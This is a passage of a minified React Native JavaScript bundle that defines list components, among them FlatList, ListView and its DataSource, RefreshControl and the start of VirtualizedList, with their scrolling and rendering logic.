1\"),s.createElement(l,{style:[{flexDirection:\"row\"},i]},u.map(function(t,r){var l=n({item:t,index:c*o+r,separators:e.separators});return l&&s.cloneElement(l,{key:r})}))}return n(e)},o=n,babelHelpers.possibleConstructorReturn(r,o)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"scrollToEnd\",value:function(e){this._listRef.scrollToEnd(e)}},{key:\"scrollToIndex\",value:function(e){this._listRef.scrollToIndex(e)}},{key:\"scrollToItem\",value:function(e){this._listRef.scrollToItem(e)}},{key:\"scrollToOffset\",value:function(e){this._listRef.scrollToOffset(e)}},{key:\"recordInteraction\",value:function(){this._listRef.recordInteraction()}},{key:\"flashScrollIndicators\",value:function(){this._listRef.flashScrollIndicators()}},{key:\"getScrollResponder\",value:function(){if(this._listRef)return this._listRef.getScrollResponder()}},{key:\"getScrollableNode\",value:function(){if(this._listRef)return this._listRef.getScrollableNode()}},{key:\"setNativeProps\",value:function(e){this._listRef&&this._listRef.setNativeProps(e)}},{key:\"componentWillMount\",value:function(){this._checkProps(this.props)}},{key:\"componentWillReceiveProps\",value:function(e){a(e.numColumns===this.props.numColumns,\"Changing numColumns on the fly is not supported. Change the key prop on FlatList when changing the number of columns to force a fresh render of the component.\"),this._checkProps(e)}},{key:\"_checkProps\",value:function(e){var t=e.getItem,n=e.getItemCount,r=e.horizontal,o=e.legacyImplementation,s=e.numColumns,l=e.columnWrapperStyle;a(!t&&!n,\"FlatList does not support custom data formats.\"),s>1?a(!r,\"numColumns does not support horizontal.\"):a(!l,\"columnWrapperStyle not supported for single column lists\"),o&&(a(1===s,\"Legacy list does not support multiple columns.\"),this._hasWarnedLegacy||(console.warn(\"FlatList: Using legacyImplementation - some features not supported and performance may suffer\"),this._hasWarnedLegacy=!0))}},{key:\"_pushMultiColumnViewable\",value:function(e,t){var n=this.props,r=n.numColumns,o=n.keyExtractor;t.item.forEach(function(n,s){a(null!=t.index,\"Missing index!\");var l=t.index*r+s;e.push(babelHelpers.extends({},t,{item:n,key:o(n,l),index:l}))})}},{key:\"render\",value:function(){return this.props.legacyImplementation?s.createElement(o,babelHelpers.extends({},this.props,{items:this.props.data,ref:this._captureRef})):s.createElement(i,babelHelpers.extends({},this.props,{renderItem:this._renderItem,getItem:this._getItem,getItemCount:this._getItemCount,keyExtractor:this._keyExtractor,ref:this._captureRef,onViewableItemsChanged:this.props.onViewableItemsChanged&&this._onViewableItemsChanged}))}}]),t}(s.PureComponent);c.defaultProps=u,n.exports=c},222);\n__d(function(e,t,r,o){\"use strict\";var n=t(224),s=t(114),a=t(229),i=t(205),c=t(13),l=function(e){function t(){var e,r,o,a,i=this;babelHelpers.classCallCheck(this,t);for(var l=arguments.length,p=Array(l),u=0;u<l;u++)p[u]=arguments[u];return r=o=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(p))),o.state=o._computeState(o.props,{ds:new n.DataSource({rowHasChanged:function(e,t){return!0},sectionHeaderHasChanged:function(){return!0},getSectionHeaderData:function(e,t){return o.state.sectionHeaderData[t]}}),sectionHeaderData:{}}),o._captureRef=function(e){o._listRef=e},o._renderFooter=function(){return s.createElement(i.props.FooterComponent,{key:\"$footer\"})},o._renderRow=function(e,t,r,n){return o.props.renderItem({item:e,index:r})},o._renderSectionHeader=function(e,t){var r=o.props.renderSectionHeader;return c(r,\"Must provide renderSectionHeader with sections prop\"),r({section:e})},o._renderSeparator=function(e,t){return s.createElement(i.props.SeparatorComponent,{key:e+t})},a=r,babelHelpers.possibleConstructorReturn(o,a)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"scrollToEnd\",value:function(e){throw new Error(\"scrollToEnd not supported in legacy ListView.\")}},{key:\"scrollToIndex\",value:function(e){throw new Error(\"scrollToIndex not supported in legacy ListView.\")}},{key:\"scrollToItem\",value:function(e){throw new Error(\"scrollToItem not supported in legacy ListView.\")}},{key:\"scrollToLocation\",value:function(e){throw new Error(\"scrollToLocation not supported in legacy ListView.\")}},{key:\"scrollToOffset\",value:function(e){var t=e.animated,r=e.offset;this._listRef.scrollTo(this.props.horizontal?{x:r,animated:t}:{y:r,animated:t})}},{key:\"getListRef\",value:function(){return this._listRef}},{key:\"setNativeProps\",value:function(e){this._listRef&&this._listRef.setNativeProps(e)}},{key:\"componentWillReceiveProps\",value:function(e){var t=this;this.setState(function(r){return t._computeState(e,r)})}},{key:\"render\",value:function(){return s.createElement(n,babelHelpers.extends({},this.props,{dataSource:this.state.ds,ref:this._captureRef,renderRow:this._renderRow,renderFooter:this.props.FooterComponent&&this._renderFooter,renderSectionHeader:this.props.sections&&this._renderSectionHeader,renderSeparator:this.props.SeparatorComponent&&this._renderSeparator}))}},{key:\"_computeState\",value:function(e,t){var r={};if(e.sections){c(!e.items,\"Cannot have both sections and items props.\");var o={};return e.sections.forEach(function(e,t){var n=\"s\"+t;o[n]=e.data,r[n]=e}),{ds:t.ds.cloneWithRowsAndSections(o),sectionHeaderData:r}}return c(!e.sections,\"Cannot have both sections and items props.\"),{ds:t.ds.cloneWithRows(e.items),sectionHeaderData:r}}}]),t}(s.Component);l.defaultProps={keyExtractor:function(e,t){return e.key||String(t)},renderScrollComponent:function(e){return e.onRefresh?s.createElement(i,babelHelpers.extends({},e,{refreshControl:s.createElement(a,{refreshing:e.refreshing,onRefresh:e.onRefresh})})):s.createElement(i,e)}},r.exports=l},223);\n__d(function(e,t,o,n){\"use strict\";var s=t(225),r=(t(23),t(114)),i=t(111),l=t(44),d=t(15).ScrollViewManager,a=t(205),h=t(207),c=t(227),p=t(216),u=t(110),R=t(228),g=t(140),w=t(226),S=t(133),f=1,m=10,C=1e3,_=1e3,v=50,b=g({displayName:\"ListView\",_childFrames:[],_sentEndForContentLength:null,_scrollComponent:null,_prevRenderedRowsCount:0,_visibleRows:{},scrollProperties:{},mixins:[h.Mixin,p],statics:{DataSource:s},propTypes:babelHelpers.extends({},a.propTypes,{dataSource:i.instanceOf(s).isRequired,renderSeparator:i.func,renderRow:i.func.isRequired,initialListSize:i.number.isRequired,onEndReached:i.func,onEndReachedThreshold:i.number.isRequired,pageSize:i.number.isRequired,renderFooter:i.func,renderHeader:i.func,renderSectionHeader:i.func,renderScrollComponent:i.func.isRequired,scrollRenderAheadDistance:i.number.isRequired,onChangeVisibleRows:i.func,removeClippedSubviews:i.bool,stickySectionHeadersEnabled:i.bool,stickyHeaderIndices:i.arrayOf(i.number).isRequired,enableEmptySections:i.bool}),getMetrics:function(){return{contentLength:this.scrollProperties.contentLength,totalRows:this.props.enableEmptySections?this.props.dataSource.getRowAndSectionCount():this.props.dataSource.getRowCount(),renderedRows:this.state.curRenderedRowsCount,visibleRows:Object.keys(this._visibleRows).length}},getScrollResponder:function(){if(this._scrollComponent&&this._scrollComponent.getScrollResponder)return this._scrollComponent.getScrollResponder()},getScrollableNode:function(){return this._scrollComponent&&this._scrollComponent.getScrollableNode?this._scrollComponent.getScrollableNode():l.findNodeHandle(this._scrollComponent)},scrollTo:function(){if(this._scrollComponent&&this._scrollComponent.scrollTo){var e;(e=this._scrollComponent).scrollTo.apply(e,arguments)}},scrollToEnd:function(e){this._scrollComponent&&(this._scrollComponent.scrollToEnd?this._scrollComponent.scrollToEnd(e):console.warn(\"The scroll component used by the ListView does not support scrollToEnd. Check the renderScrollComponent prop of your ListView.\"))},flashScrollIndicators:function(){this._scrollComponent&&this._scrollComponent.flashScrollIndicators&&this._scrollComponent.flashScrollIndicators()},setNativeProps:function(e){this._scrollComponent&&this._scrollComponent.setNativeProps(e)},getDefaultProps:function(){return{initialListSize:m,pageSize:f,renderScrollComponent:function(e){return r.createElement(a,e)},scrollRenderAheadDistance:C,onEndReachedThreshold:_,stickySectionHeadersEnabled:!0,stickyHeaderIndices:[]}},getInitialState:function(){return{curRenderedRowsCount:this.props.initialListSize,highlightedRow:{}}},getInnerViewNode:function(){return this._scrollComponent.getInnerViewNode()},componentWillMount:function(){this.scrollProperties={visibleLength:null,contentLength:null,offset:0},this._childFrames=[],this._visibleRows={},this._prevRenderedRowsCount=0,this._sentEndForContentLength=null},componentDidMount:function(){var e=this;this.requestAnimationFrame(function(){e._measureAndUpdateScrollProps()})},componentWillReceiveProps:function(e){var t=this;this.props.dataSource===e.dataSource&&this.props.initialListSize===e.initialListSize||this.setState(function(e,o){return t._prevRenderedRowsCount=0,{curRenderedRowsCount:Math.min(Math.max(e.curRenderedRowsCount,o.initialListSize),o.enableEmptySections?o.dataSource.getRowAndSectionCount():o.dataSource.getRowCount())}},function(){return t._renderMoreRowsIfNeeded()})},componentDidUpdate:function(){var e=this;this.requestAnimationFrame(function(){e._measureAndUpdateScrollProps()})},_onRowHighlighted:function(e,t){this.setState({highlightedRow:{sectionID:e,rowID:t}})},render:function(){for(var e=[],o=this.props.dataSource,n=o.rowIdentities,s=0,i=[],l=this.props.renderSectionHeader,d=this.props.renderHeader&&this.props.renderHeader(),a=this.props.renderFooter&&this.props.renderFooter(),h=d?1:0,p=0;p<n.length;p++){var g=o.sectionIdentities[p],w=n[p];if(0===w.length){if(void 0===this.props.enableEmptySections){var S=t(27);S(!1,\"In next release empty section headers will be rendered. In this release you can use 'enableEmptySections' flag to render empty section headers.\");continue}var f=t(13);f(this.props.enableEmptySections,\"In next release 'enableEmptySections' flag will be deprecated, empty section headers will always be rendered. If empty section headers are not desirable their indices should be excluded from sectionIDs object. In this release 'enableEmptySections' may only have value 'true' to allow empty section headers rendering.\")}if(l){var m=l(o.getSectionHeaderData(p),g);m&&(e.push(r.cloneElement(m,{key:\"s_\"+g})),this.props.stickySectionHeadersEnabled&&i.push(h),h++)}for(var C=0;C<w.length;C++){var _=w[C],b=g+\"_\"+_,y=s>=this._prevRenderedRowsCount&&o.rowShouldUpdate(p,C),E=r.createElement(c,{key:\"r_\"+b,shouldUpdate:!!y,render:this.props.renderRow.bind(null,o.getRowData(p,C),g,_,this._onRowHighlighted)});if(e.push(E),h++,this.props.renderSeparator&&(C!==w.length-1||p===n.length-1)){var L=this.state.highlightedRow.sectionID===g&&(this.state.highlightedRow.rowID===_||this.state.highlightedRow.rowID===w[C+1]),I=this.props.renderSeparator(g,_,L);I&&(e.push(r.createElement(u,{key:\"s_\"+b},I)),h++)}if(++s===this.state.curRenderedRowsCount)break}if(s>=this.state.curRenderedRowsCount)break}var P=this.props,H=P.renderScrollComponent,D=babelHelpers.objectWithoutProperties(P,[\"renderScrollComponent\"]);return D.scrollEventThrottle||(D.scrollEventThrottle=v),void 0===D.removeClippedSubviews&&(D.removeClippedSubviews=!0),babelHelpers.extends(D,{onScroll:this._onScroll,stickyHeaderIndices:this.props.stickyHeaderIndices.concat(i),onKeyboardWillShow:void 0,onKeyboardWillHide:void 0,onKeyboardDidShow:void 0,onKeyboardDidHide:void 0}),R(H(D),{ref:this._setScrollComponentRef,onContentSizeChange:this._onContentSizeChange,onLayout:this._onLayout,DEPRECATED_sendUpdatedChildFrames:void 0!==typeof D.onChangeVisibleRows},d,e,a)},_measureAndUpdateScrollProps:function(){var e=this.getScrollResponder();e&&e.getInnerViewNode&&d&&d.calculateChildFrames&&d.calculateChildFrames(l.findNodeHandle(e),this._updateVisibleRows)},_setScrollComponentRef:function(e){this._scrollComponent=e},_onContentSizeChange:function(e,t){var o=this.props.horizontal?e:t;o!==this.scrollProperties.contentLength&&(this.scrollProperties.contentLength=o,this._updateVisibleRows(),this._renderMoreRowsIfNeeded()),this.props.onContentSizeChange&&this.props.onContentSizeChange(e,t)},_onLayout:function(e){var t=e.nativeEvent.layout,o=t.width,n=t.height,s=this.props.horizontal?o:n;s!==this.scrollProperties.visibleLength&&(this.scrollProperties.visibleLength=s,this._updateVisibleRows(),this._renderMoreRowsIfNeeded()),this.props.onLayout&&this.props.onLayout(e)},_maybeCallOnEndReached:function(e){return!!(this.props.onEndReached&&this.scrollProperties.contentLength!==this._sentEndForContentLength&&this._getDistanceFromEnd(this.scrollProperties)<this.props.onEndReachedThreshold&&this.state.curRenderedRowsCount===(this.props.enableEmptySections?this.props.dataSource.getRowAndSectionCount():this.props.dataSource.getRowCount()))&&(this._sentEndForContentLength=this.scrollProperties.contentLength,this.props.onEndReached(e),!0)},_renderMoreRowsIfNeeded:function(){if(null===this.scrollProperties.contentLength||null===this.scrollProperties.visibleLength||this.state.curRenderedRowsCount===(this.props.enableEmptySections?this.props.dataSource.getRowAndSectionCount():this.props.dataSource.getRowCount()))return void this._maybeCallOnEndReached();var e=this._getDistanceFromEnd(this.scrollProperties);e<this.props.scrollRenderAheadDistance&&this._pageInNewRows()},_pageInNewRows:function(){var e=this;this.setState(function(t,o){var n=Math.min(t.curRenderedRowsCount+o.pageSize,o.enableEmptySections?o.dataSource.getRowAndSectionCount():o.dataSource.getRowCount());return e._prevRenderedRowsCount=t.curRenderedRowsCount,{curRenderedRowsCount:n}},function(){e._measureAndUpdateScrollProps(),e._prevRenderedRowsCount=e.state.curRenderedRowsCount})},_getDistanceFromEnd:function(e){return e.contentLength-e.visibleLength-e.offset},_updateVisibleRows:function(e){var t=this;if(this.props.onChangeVisibleRows){e&&e.forEach(function(e){t._childFrames[e.index]=S(e)});for(var o=!this.props.horizontal,n=this.props.dataSource,s=this.scrollProperties.offset,r=s+this.scrollProperties.visibleLength,i=n.rowIdentities,l=this.props.renderHeader&&this.props.renderHeader(),d=l?1:0,a=!1,h={},c=0;c<i.length;c++){var p=i[c];if(0!==p.length){var u=n.sectionIdentities[c];this.props.renderSectionHeader&&d++;var R=this._visibleRows[u];R||(R={});for(var g=0;g<p.length;g++){var f=p[g],m=this._childFrames[d];if(d++,!this.props.renderSeparator||g===p.length-1&&c!==i.length-1||d++,!m)break;var C=R[f],_=o?m.y:m.x,v=_+(o?m.height:m.width);if(!_&&!v||_===v)break;_>r||v<s?C&&(a=!0,delete R[f],h[u]||(h[u]={}),h[u][f]=!1):C||(a=!0,R[f]=!0,h[u]||(h[u]={}),h[u][f]=!0)}w(R)?this._visibleRows[u]&&delete this._visibleRows[u]:this._visibleRows[u]=R}}a&&this.props.onChangeVisibleRows(this._visibleRows,h)}},_onScroll:function(e){var t=!this.props.horizontal;this.scrollProperties.visibleLength=e.nativeEvent.layoutMeasurement[t?\"height\":\"width\"],this.scrollProperties.contentLength=e.nativeEvent.contentSize[t?\"height\":\"width\"],this.scrollProperties.offset=e.nativeEvent.contentOffset[t?\"y\":\"x\"],this._updateVisibleRows(e.nativeEvent.updatedChildFrames),this._maybeCallOnEndReached(e)||this._renderMoreRowsIfNeeded(),this.props.onEndReached&&this._getDistanceFromEnd(this.scrollProperties)>this.props.onEndReachedThreshold&&(this._sentEndForContentLength=null),this.props.onScroll&&this.props.onScroll(e)}});o.exports=b},224);\n__d(function(t,e,i,n){\"use strict\";function s(t,e,i){return t[e][i]}function a(t,e){return t[e]}function o(t){for(var e=0,i=0;i<t.length;i++){var n=t[i];e+=n.length}return e}function r(t){if(d(t))return{};for(var e={},i=0;i<t.length;i++){var n=t[i];c(!e[n],\"Value appears more than once in array: \"+n),e[n]=!0}return e}var h=e(13),d=e(226),c=e(27),u=function(){function t(e){babelHelpers.classCallCheck(this,t),h(e&&\"function\"==typeof e.rowHasChanged,\"Must provide a rowHasChanged function.\"),this._rowHasChanged=e.rowHasChanged,this._getRowData=e.getRowData||s,this._sectionHeaderHasChanged=e.sectionHeaderHasChanged,this._getSectionHeaderData=e.getSectionHeaderData||a,this._dataBlob=null,this._dirtyRows=[],this._dirtySections=[],this._cachedRowCount=0,this.rowIdentities=[],this.sectionIdentities=[]}return babelHelpers.createClass(t,[{key:\"cloneWithRows\",value:function(t,e){var i=e?[[].concat(babelHelpers.toConsumableArray(e))]:null;return this._sectionHeaderHasChanged||(this._sectionHeaderHasChanged=function(){return!1}),this.cloneWithRowsAndSections({s1:t},[\"s1\"],i)}},{key:\"cloneWithRowsAndSections\",value:function(e,i,n){h(\"function\"==typeof this._sectionHeaderHasChanged,\"Must provide a sectionHeaderHasChanged function with section data.\"),h(!i||!n||i.length===n.length,\"row and section ids lengths must be the same\");var s=new t({getRowData:this._getRowData,getSectionHeaderData:this._getSectionHeaderData,rowHasChanged:this._rowHasChanged,sectionHeaderHasChanged:this._sectionHeaderHasChanged});return s._dataBlob=e,i?s.sectionIdentities=i:s.sectionIdentities=Object.keys(e),n?s.rowIdentities=n:(s.rowIdentities=[],s.sectionIdentities.forEach(function(t){s.rowIdentities.push(Object.keys(e[t]))})),s._cachedRowCount=o(s.rowIdentities),s._calculateDirtyArrays(this._dataBlob,this.sectionIdentities,this.rowIdentities),s}},{key:\"getRowCount\",value:function(){return this._cachedRowCount}},{key:\"getRowAndSectionCount\",value:function(){return this._cachedRowCount+this.sectionIdentities.length}},{key:\"rowShouldUpdate\",value:function(t,e){var i=this._dirtyRows[t][e];return c(void 0!==i,\"missing dirtyBit for section, row: \"+t+\", \"+e),i}},{key:\"getRowData\",value:function(t,e){var i=this.sectionIdentities[t],n=this.rowIdentities[t][e];return c(void 0!==i&&void 0!==n,\"rendering invalid section, row: \"+t+\", \"+e),this._getRowData(this._dataBlob,i,n)}},{key:\"getRowIDForFlatIndex\",value:function(t){for(var e=t,i=0;i<this.sectionIdentities.length;i++){if(!(e>=this.rowIdentities[i].length))return this.rowIdentities[i][e];e-=this.rowIdentities[i].length}return null}},{key:\"getSectionIDForFlatIndex\",value:function(t){for(var e=t,i=0;i<this.sectionIdentities.length;i++){if(!(e>=this.rowIdentities[i].length))return this.sectionIdentities[i];e-=this.rowIdentities[i].length}return null}},{key:\"getSectionLengths\",value:function(){for(var t=[],e=0;e<this.sectionIdentities.length;e++)t.push(this.rowIdentities[e].length);return t}},{key:\"sectionHeaderShouldUpdate\",value:function(t){var e=this._dirtySections[t];return c(void 0!==e,\"missing dirtyBit for section: \"+t),e}},{key:\"getSectionHeaderData\",value:function(t){if(!this._getSectionHeaderData)return null;var e=this.sectionIdentities[t];return c(void 0!==e,\"renderSection called on invalid section: \"+t),this._getSectionHeaderData(this._dataBlob,e)}},{key:\"_calculateDirtyArrays\",value:function(t,e,i){for(var n=r(e),s={},a=0;a<i.length;a++){var o=e[a];c(!s[o],\"SectionID appears more than once: \"+o),s[o]=r(i[a])}this._dirtySections=[],this._dirtyRows=[];for(var h,d=0;d<this.sectionIdentities.length;d++){var o=this.sectionIdentities[d];h=!n[o];var u=this._sectionHeaderHasChanged;!h&&u&&(h=u(this._getSectionHeaderData(t,o),this._getSectionHeaderData(this._dataBlob,o))),this._dirtySections.push(!!h),this._dirtyRows[d]=[];for(var l=0;l<this.rowIdentities[d].length;l++){var g=this.rowIdentities[d][l];h=!n[o]||!s[o][g]||this._rowHasChanged(this._getRowData(t,o,g),this._getRowData(this._dataBlob,o,g)),this._dirtyRows[d].push(!!h)}}}}]),t}();i.exports=u},225);\n__d(function(r,t,n,e){\"use strict\";function i(r){if(Array.isArray(r))return 0===r.length;if(\"object\"==typeof r){for(var t in r)return!1;return!0}return!r}n.exports=i},226);\n__d(function(e,r,t,s){\"use strict\";var n=r(114),o=r(111),l=function(e){function r(){return babelHelpers.classCallCheck(this,r),babelHelpers.possibleConstructorReturn(this,(r.__proto__||Object.getPrototypeOf(r)).apply(this,arguments))}return babelHelpers.inherits(r,e),babelHelpers.createClass(r,[{key:\"shouldComponentUpdate\",value:function(e){return e.shouldUpdate}},{key:\"render\",value:function(){return this.props.render()}}]),r}(n.Component);l.propTypes={shouldUpdate:o.bool.isRequired,render:o.func.isRequired},t.exports=l},227);\n__d(function(e,n,t,l){\"use strict\";function c(e,n){for(var t=n.ref,l=e.ref,c=arguments.length,r=Array(c>2?c-2:0),a=2;a<c;a++)r[a-2]=arguments[a];return null==l||null==t?o.cloneElement.apply(o,[e,n].concat(r)):\"function\"!=typeof l?o.cloneElement.apply(o,[e,n].concat(r)):o.cloneElement.apply(o,[e,babelHelpers.extends({},n,{ref:function(e){t(e),l(e)}})].concat(r))}var o=n(52);t.exports=c},228);\n__d(function(e,s,r,t){\"use strict\";var i=s(41),n=s(43),o=(s(23),s(114)),h=s(111),f=s(130),p=s(140),a=s(142),l={SIZE:{}},R=p({displayName:\"RefreshControl\",statics:{SIZE:l.SIZE},mixins:[n],propTypes:babelHelpers.extends({},f,{onRefresh:h.func,refreshing:h.bool.isRequired,tintColor:i,titleColor:i,title:h.string,enabled:h.bool,colors:h.arrayOf(i),progressBackgroundColor:i,size:h.oneOf([l.SIZE.DEFAULT,l.SIZE.LARGE]),progressViewOffset:h.number}),_nativeRef:null,_lastNativeRefreshing:!1,componentDidMount:function(){this._lastNativeRefreshing=this.props.refreshing},componentDidUpdate:function(e){this.props.refreshing!==e.refreshing?this._lastNativeRefreshing=this.props.refreshing:this.props.refreshing!==this._lastNativeRefreshing&&(this._nativeRef.setNativeProps({refreshing:this.props.refreshing}),this._lastNativeRefreshing=this.props.refreshing)},render:function(){var e=this;return o.createElement(g,babelHelpers.extends({},this.props,{ref:function(s){e._nativeRef=s},onRefresh:this._onRefresh}))},_onRefresh:function(){this._lastNativeRefreshing=!0,this.props.onRefresh&&this.props.onRefresh(),this.forceUpdate()}}),g=a(\"RCTRefreshControl\",R);r.exports=R},229);\n__d(function(e,t,r,s){\"use strict\";var o=t(231),n=t(232),i=t(111),l=t(114),a=t(44),h=t(229),p=t(205),c=t(144),d=t(110),u=t(233),f=(t(60),t(106)),m=t(13),_=(t(27),t(234)),g=_.computeWindowedRenderLimits,v=!1,y=function(e){function t(e,r){babelHelpers.classCallCheck(this,t);var s=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,r));return b.call(s),m(!e.onScroll||!e.onScroll.__isNative,\"Components based on VirtualizedList must be wrapped with Animated.createAnimatedComponent to support native onScroll events with useNativeDriver\"),m(!(s._isNestedWithSameOrientation()&&e.onViewableItemsChanged),\"Nesting lists that scroll in the same direction does not support onViewableItemsChangedon the inner list.\"),s._fillRateHelper=new n(s._getFrameMetrics),s._updateCellsToRenderBatcher=new o(s._updateCellsToRender,s.props.updateCellsBatchingPeriod),s._viewabilityHelper=new u(s.props.viewabilityConfig),s.state={first:s.props.initialScrollIndex||0,last:Math.min(s.props.getItemCount(s.props.data),(s.props.initialScrollIndex||0)+s.props.initialNumToRender)-1},s}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"scrollToEnd\",value:function(e){var t=!e||e.animated,r=this.props.getItemCount(this.props.data)-1,s=this._getFrameMetricsApprox(r),o=Math.max(0,s.offset+s.length+this._footerLength-this._scrollMetrics.visibleLength);this._scrollRef.scrollTo(this.props.horizontal?{x:o,animated:t}:{y:o,animated:t})}},{key:\"scrollToIndex\",value:function(e){var t=this.props,r=t.data,s=t.horizontal,o=t.getItemCount,n=t.getItemLayout,i=e.animated,l=e.index,a=e.viewOffset,h=e.viewPosition;m(l>=0&&l<o(r),\"scrollToIndex out of range: \"+l+\" vs \"+(o(r)-1)),m(n||l<=this._highestMeasuredFrameIndex,\"scrollToIndex should be used in conjunction with getItemLayout, otherwise there is no way to know the location of an arbitrary index.\");var p=this._getFrameMetricsApprox(l),c=Math.max(0,p.offset-(h||0)*(this._scrollMetrics.visibleLength-p.length))-(a||0);this._scrollRef.scrollTo(s?{x:c,animated:i}:{y:c,animated:i})}},{key:\"scrollToItem\",value:function(e){for(var t=e.item,r=this.props,s=r.data,o=r.getItem,n=r.getItemCount,i=n(s),l=0;l<i;l++)if(o(s,l)===t){this.scrollToIndex(babelHelpers.extends({},e,{index:l}));break}}},{key:\"scrollToOffset\",value:function(e){var t=e.animated,r=e.offset;this._scrollRef.scrollTo(this.props.horizontal?{x:r,animated:t}:{y:r,animated:t})}},{key:\"recordInteraction\",value:function(){this._viewabilityHelper.recordInteraction(),this._updateViewableItems(this.props.data)}},{key:\"flashScrollIndicators\",value:function(){this._scrollRef.flashScrollIndicators()}},{key:\"getScrollResponder\",value:function(){if(this._scrollRef&&this._scrollRef.getScrollResponder)return this._scrollRef.getScrollResponder()}},{key:\"getScrollableNode\",value:function(){return this._scrollRef&&this._scrollRef.getScrollableNode?this._scrollRef.getScrollableNode():a.findNodeHandle(this._scrollRef)}},{key:\"setNativeProps\",value:function(e){this._scrollRef&&this._scrollRef.setNativeProps(e)}},{key:\"getChildContext\",value:function(){return{virtualizedList:{horizontal:this.props.horizontal}}}}]),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){var e=this;this.props.initialScrollIndex&&(this._initialScrollIndexTimeout=setTimeout(function(){return e.scrollToIndex({animated:!1,index:e.props.initialScrollIndex})},0))}},{key:\"componentWillUnmount\",value:function(){this._updateViewableItems(null),this._updateCellsToRenderBatcher.dispose(),this._viewabilityHelper.dispose(),this._fillRateHelper.deactivateAndFlush(),clearTimeout(this._initialScrollIndexTimeout)}},{key:\"componentWillReceiveProps\",value:function(e){var t=e.data,r=e.extraData,s=e.getItemCount,o=e.maxToRenderPerBatch;this.setState({first:Math.max(0,Math.min(this.state.first,s(t)-1-o)),last:Math.max(0,Math.min(this.state.last,s(t)-1))}),t===this.props.data&&r===this.props.extraData||(this._hasDataChangedSinceEndReached=!0)}},{key:\"_pushCells\",value:function(e,t,r,s,o,n){var i=this,a=this.props,h=a.CellRendererComponent,p=a.ItemSeparatorComponent,c=a.data,d=a.getItem,u=a.getItemCount,f=a.keyExtractor,_=this.props.ListHeaderComponent?1:0,g=u(c)-1,v=void 0;o=Math.min(g,o);for(var y=function(s){var o=d(c,s);m(o,\"No item for index \"+s);var a=f(o,s);r.has(s+_)&&t.push(e.length),e.push(l.createElement(C,{CellRendererComponent:h,ItemSeparatorComponent:s<g?p:void 0,cellKey:a,fillRateHelper:i._fillRateHelper,index:s,inversionStyle:n,item:o,key:a,prevCellKey:v,onUpdateSeparators:i._onUpdateSeparators,onLayout:function(e){return i._onCellLayout(e,a,s)},onUnmount:i._onCellUnmount,parentProps:i.props,ref:function(e){i._cellRefs[a]=e}})),v=a},b=s;b<=o;b++)y(b)}},{key:\"_isVirtualizationDisabled\",value:function(){return this.props.disableVirtualization||this._isNestedWithSameOrientation()}},{key:\"_isNestedWithSameOrientation\",value:function(){var e=this.context.virtualizedList;return!(!e||!!e.horizontal!=!!this.props.horizontal)}},{key:\"render\",value:function(){var e=this.props,t=e.ListEmptyComponent,r=e.ListFooterComponent,s=e.ListHeaderComponent,o=this.props,n=o.data,i=o.horizontal,a=this._isVirtualizationDisabled(),h=this.props.inverted?this.props.horizontal?L.horizontallyInverted:L.verticallyInverted:null,p=[],c=new Set(this.props.stickyHeaderIndices),u=[];if(s){var f=l.isValidElement(s)?s:l.createElement(s,null);p.push(l.createElement(d,{key:\"$header\",onLayout:this._onLayoutHeader,style:h},f))}var m=this.props.getItemCount(n);if(m>0){v=!1;var _=i?\"width\":\"height\",g=this.props.initialScrollIndex?-1:this.props.initialNumToRender-1,y=this.state,b=y.first,C=y.last;this._pushCells(p,u,c,0,g,h);var x=Math.max(g+1,b);if(!a&&b>g+1){var S=!1;if(c.size>0)for(var M=s?1:0,R=x-1;R>g;R--)if(c.has(R+M)){var E=this._getFrameMetricsApprox(g),k=this._getFrameMetricsApprox(R),I=k.offset-(E.offset+E.length);p.push(l.createElement(d,{key:\"$sticky_lead\",style:babelHelpers.defineProperty({},_,I)})),this._pushCells(p,u,c,R,R,h);var T=this._getFrameMetricsApprox(b).offset-(k.offset+k.length);p.push(l.createElement(d,{key:\"$sticky_trail\",style:babelHelpers.defineProperty({},_,T)})),S=!0;break}if(!S){var w=this._getFrameMetricsApprox(g),H=this._getFrameMetricsApprox(b).offset-(w.offset+w.length);p.push(l.createElement(d,{key:\"$lead_spacer\",style:babelHelpers.defineProperty({},_,H)}))}}if(this._pushCells(p,u,c,x,C,h),!this._hasWarned.keys&&v&&(console.warn(\"VirtualizedList: missing keys for items, make sure to specify a key property on each item or provide a custom keyExtractor.\"),this._hasWarned.keys=!0),!a&&C<m-1){var z=this._getFrameMetricsApprox(C),F=this.props.getItemLayout?m-1:Math.min(m-1,this._highestMeasuredFrameIndex),P=this._getFrameMetricsApprox(F),O=P.offset+P.length-(z.offset+z.length);p.push(l.createElement(d,{key:\"$tail_spacer\",style:babelHelpers.defineProperty({},_,O)}))}}else if(t){var D=l.isValidElement(t)?t:l.createElement(t,null);p.push(l.createElement(d,{key:\"$empty\",onLayout:this._onLayoutEmpty,style:h},D))}if(r){var V=l.isValidElement(r)?r:l.createElement(r,null);p.push(l.createElement(d,{key:\"$footer\",onLayout:this._onLayoutFooter,style:h},V))}var U=babelHelpers.extends({},this.props,{onContentSizeChange:this._onContentSizeChange,onLayout:this._onLayout,onScroll:this._onScroll,onScrollBeginDrag:this._onScrollBeginDrag,onScrollEndDrag:this._onScrollEndDrag,onMomentumScrollEnd:this._onMomentumScrollEnd,scrollEventThrottle:this.props.scrollEventThrottle,stickyHeaderIndices:u});h&&(U.style=[h,this.props.style]);var A=l.cloneElement((this.props.renderScrollComponent||this._defaultRenderScrollComponent)(U),{ref:this._captureScrollRef},p);return this.props.debug?l.createElement(d,{style:{flex:1}},A,this._renderDebugOverlay()):A}},{key:\"componentDidUpdate\",value:function(){this._scheduleCellsToRenderUpdate()}},{key:\"_computeBlankness\",value:function(){this._fillRateHelper.computeBlankness(this.props,this.state,this._scrollMetrics)}},{key:\"_onCellLayout\",value:function(e,t,r){var 